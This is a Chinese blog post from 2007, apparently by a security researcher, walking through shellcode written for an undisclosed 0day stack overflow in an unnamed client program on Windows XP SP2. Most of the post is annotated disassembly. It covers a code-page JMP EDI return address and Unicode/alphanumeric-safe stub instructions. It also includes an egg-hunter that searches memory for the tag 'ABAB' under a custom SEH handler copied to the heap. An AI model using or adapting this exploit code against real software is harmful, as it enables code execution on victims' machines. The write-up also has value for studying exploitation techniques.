导航


公告

文章分类

档案

登录

2007年5月14日

这个SheUcode比较有意思

  某客户端程序0day,溢出发生时
EAX=00000000  EBX=00000000 ECX=00000006 EDX=7C92EB94 ESI=00000001
EDI=001362B0  ESP=001E0061 ESP=00136110 EIP=7FFA5564 o d I s Z a P c
CS=001B  DS=0023 SS=0023 ES=0023 FS=003B GS=0000

  看似比较简单的栈溢出,程序也没有/GS,但是字符串长度限制为100个字节(不能覆盖SEH),而且
字符串会部分转化为UniCode格式,通过分析溢出发生时可以用转化后的字符串覆盖函数返回地
址,同时EDI刚好指向转化后的字符串开头.在简中系统下代码页刚好有个JMP EDI(6455FA7F)
而6455FA7F的ANSI编码为C6A1C24F.OK跳转地址搞定,来看看SHELLCODE怎么写了,由于这个漏洞
非常特殊,字符串是部分转化,而且长度只有100个字节,所以只能想办法在这100个字节中用小SHELLCODE
找大SHELLCODE了.经过测试发现XP SP2下,SEHLLCODE中的异常处理代码不能在栈中,所以还得想
法把代码移到堆中.下面是我的办法:先看第四部分.

 


第一部分:
:00136193 5E                      pop esi       ;因为是CALL跳过来的,POP后ESI变为001361BC,esp+4=0013610C
:00136194 5E                      pop esi       ;esi变为001361D5也就是异常处理指令的地址
:00136195 55                      push ebp      ;通过分析漏洞,溢出发生时EBP的值为是跳转地址前面的四字节(UNICODE格式)
:00136196 5F                      pop edi       ;EDI变为001E0061
:00136197 A5                      movsd
:00136198 A5                      movsd
:00136199 A5                      movsd
:0013619A A5                      movsd         ;把ESI(001361D5)中的代码移到(edi)001e0061中
:0013619B 55                      push ebp      ;设置新的异常处理函数地址
:0013619C EB1E                    jmp ↓001361BC ;回到第二部分
:0013619E 61                      popad
:0013619F 61                      popad
:001361A0 61                      popad
:001361A1 61                      popad
:001361A2 61                      popad
:001361A3 61                      popad
:001361A4 61                      popad
:001361A5 61                      popad
:001361A6 61                      popad
:001361A7 61                      popad
:001361A8 61                      popad
:001361A9 61                      popad
:001361AA 1E                      push ds
:001361AB C6A1C24F                转化前的跳转地址(7FFA5564 JMP EDI)

第二部分:
:001361B0 6481EFDB000000          sub edi,000000DB        ;edi为001362B0-db=001361d5,得到第三部分指令的地址
:001361B6 57                      push edi                ;esp-4=0013610C,edi=001361d5
:001361B7 E8D7FFFFFF              call ↑00136193          ;esp-4=00136108,函数功能:把异常处理指令移到堆中
:001361BC 64FF30                  push dword ptr fs:[eax] ;在跳过来之前新的异常处理地址已经压栈,现保存原来的
:001361BF 648920                  mov dword ptr fs:[eax], esp ;esp也就是异常处理结构的地址比较巧妙
:001361C2 BA41424142              mov edx, 42414241           ;搜索ABAB
:001361C7 BF00001400              mov edi, 00140000           ;起始地址00140000
:001361CC 3B17                    cmp edx, dword ptr [edi]
:001361CE 7403                    je  ↓001361D3
:001361D0 47                      inc edi
:001361D1 EBF9                    jmp ↑001361CC
:001361D3 57                      push edi
:001361D4 C3                      ret

第三部分:处理搜索内存异常的代码
:001361D5 8B54240C                mov edx, dword ptr [esp+0C]
:001361D9 80C29C                   add dl, 9C
:001361DC 33C0                        xor eax, eax
:001361DE B440                       mov ah, 40
:001361E0 0102                       add dword ptr [edx], eax
:001361E2 33C0                      xor eax, eax
:001361E4 C3                           ret

第四部分:程序首先从代码页中的JMP EDI跳到这儿.
:001362B0 57                      push edi         ;edi为001362B0,push以后ESP变为0013610C
:001362B1 004700                  add [edi+00],al  ;nop
:001362B4 44                      inc esp          ;esp变为0013610D
:001362B5 004700                  add [edi+00],al  ;nop
:001362B8 59                      pop ecx          ;ecx的值为XX001362,ESP变为00136111
:001362B9 004700                  add [edi+00],al  ;nop
:001362BC 49                      dec ecx          ;ecx变为XX001361
:001362BD 004700                  add [edi+00],al  ;nop
:001362C0 51                      push ecx         ;ESP变为0013610D
:001362C1 004700                  add [edi+00],al  ;nop
:001362C4 4C                      dec esp          ;ESP变为0013610C
:001362C5 004700                  add [edi+00],al  ;nop
:001362C8 C3                      ret              ;ESP变为溢出发生时的00136110,程序跳到001361B0

还没晕吧?纯粹指令技巧,主要是为了让代码是全字母且是UNICODE格式.
其实这部分代码等于执行
sub edi,100h
jmp edi
这个漏洞非常奇怪,字符是部分转化,且EDI-100H处是没转化的字符,所以先用上面的这个办法跳到
没转化的指令去执行.当然由于字符串长度的限制也没法直接写UNICODE编码的SHELLCODE.
下面请看第二部分的代码.

统计


请不要发表可能给我们带来伤害的政治言论,谢谢配合